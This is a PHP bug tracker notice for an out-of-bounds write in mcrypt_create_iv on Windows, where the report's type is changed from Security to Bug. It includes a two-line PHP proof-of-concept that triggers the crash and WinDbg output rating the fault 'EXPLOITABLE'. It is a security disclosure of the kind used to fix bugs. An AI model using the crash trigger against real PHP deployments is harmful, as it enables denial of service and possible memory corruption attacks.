Sec Bug->Bug #73032 [Opn]: mcrypt_create_iv write out-of-bounds

Edit report at https://bugs.php.net/bug.php?id=73032&edit=1 ID: 73032 Updated by: stas@php.net Reported by: fernando at null-life dot com Summary: mcrypt_create_iv write out-of-bounds Status: Open -Type: Security +Type: Bug Package: mcrypt related Operating System: Windows PHP Version: 7.0.10 Block user comment: N Private report: Y Previous Comments: ------------------------------------------------------------------------ [2016-09-06 15:57:15] fernando at null-life dot com Description: ------------ While generating IVs mcrypt extension fails to verify if the iv was allocated and then tries to write https://github.com/php/php-src/blob/master/ext/mcrypt/mcrypt.c#L1373 iv = ecalloc(size + 1, 1); if (source == RANDOM || source == URANDOM) { #if PHP_WIN32 /* random/urandom equivalent on Windows */ BYTE *iv_b = (BYTE *) iv; if (php_win32_get_random_bytes(iv_b, (size_t) size) == FAILURE){ efree(iv); php_error_docref(NULL, E_WARNING, "Could not gather sufficient random data"); RETURN_FALSE; } n = (int)size; #else ... #endif } else { n = (int)size; while (size) { ----> iv[--size] = (char) (255.0 * php_rand() / RAND_MAX); } Test script: --------------- <?php error_reporting(E_ALL); $v1=(0xffffffff / 4); mcrypt_create_iv($v1,0xFF); Expected result: ---------------- No crash Actual result: -------------- (347c.3ad4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. php7!zif_mcrypt_create_iv+0x9a: 7787f8aa 880c07 mov byte ptr [edi+eax],cl ds:002b:3ffffffe=?? Processing initial command 'r;!exploitable -v' 0:000:x86> r;!exploitable -v eax=3ffffffe ebx=3fffffff ecx=000000f8 edx=00000000 esi=7787f810 edi=00000000 eip=7787f8aa esp=06f8e528 ebp=0a6200e0 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 php7!zif_mcrypt_create_iv+0x9a: 7787f8aa 880c07 mov byte ptr [edi+eax],cl ds:002b:3ffffffe=?? !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\SysWOW64\KERNEL32.DLL - *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - Exception Faulting Address: 0x3ffffffe First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Faulting Instruction:7787f8aa mov byte ptr [edi+eax],cl Exception Hash (Major/Minor): 0x3a848ec3.0xd95bfbf6 Hash Usage : Stack Trace: Major+Minor : php7!zif_mcrypt_create_iv+0x9a Major+Minor : php7!execute_ex+0xfb Major+Minor : php7!zend_execute+0x124 Major+Minor : php7!zend_execute_scripts+0xe7 Major+Minor : php7!php_execute_script+0x372 Minor : php!do_cli+0x3d3 Minor : php!main+0x2cb Minor : php!__scrt_common_main_seh+0xf9 Minor : KERNEL32!BaseThreadInitThunk+0x24 Excluded : ntdll_77600000!RtlInitializeExceptionChain+0x8f Excluded : ntdll_77600000!RtlInitializeExceptionChain+0x5a Instruction Address: 0x000000007787f8aa Source File: c:\php-sdk\php70dev\vc14\x86\php-7.0.10\ext\mcrypt\mcrypt.c Source Line: 1416 Description: User Mode Write AV Short Description: WriteAV Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at php7!zif_mcrypt_create_iv+0x000000000000009a (Hash=0x3a848ec3.0xd95bfbf6) User mode write access violations that are not near NULL are exploitable. 0:000:x86> k ChildEBP RetAddr 06f8e534 777fdacb php7!zif_mcrypt_create_iv+0x9a [c:\php-sdk\php70dev\vc14\x86\php-7.0.10\ext\mcrypt\mcrypt.c @ 1416] 06f8e564 77816b64 php7!execute_ex+0xfb [c:\php-sdk\php70dev\vc14\x86\php-7.0.10\zend\zend_vm_execute.h @ 417] 06f8e590 778169c7 php7!zend_execute+0x124 [c:\php-sdk\php70dev\vc14\x86\php-7.0.10\zend\zend_vm_execute.h @ 459] 06f8e5e0 77816862 php7!zend_execute_scripts+0xe7 [c:\php-sdk\php70dev\vc14\x86\php-7.0.10\zend\zend.c @ 1427] 06f8f840 00f71833 php7!php_execute_script+0x372 [c:\php-sdk\php70dev\vc14\x86\php-7.0.10\main\main.c @ 2494] 06f8faf4 00f7135b php!do_cli+0x3d3 [c:\php-sdk\php70dev\vc14\x86\php-7.0.10\sapi\cli\php_cli.c @ 975] 06f8fb88 00f7229b php!main+0x2cb [c:\php-sdk\php70dev\vc14\x86\php-7.0.10\sapi\cli\php_cli.c @ 1344] 06f8fbd0 77177c04 php!__scrt_common_main_seh+0xf9 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 253] WARNING: Stack unwind information not available. Following frames may be wrong. 06f8fbe4 7765ab8f KERNEL32!BaseThreadInitThunk+0x24 06f8fc2c 7765ab5a ntdll_77600000!RtlInitializeExceptionChain+0x8f 06f8fc3c 00000000 ntdll_77600000!RtlInitializeExceptionChain+0x5a ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=73032&edit=1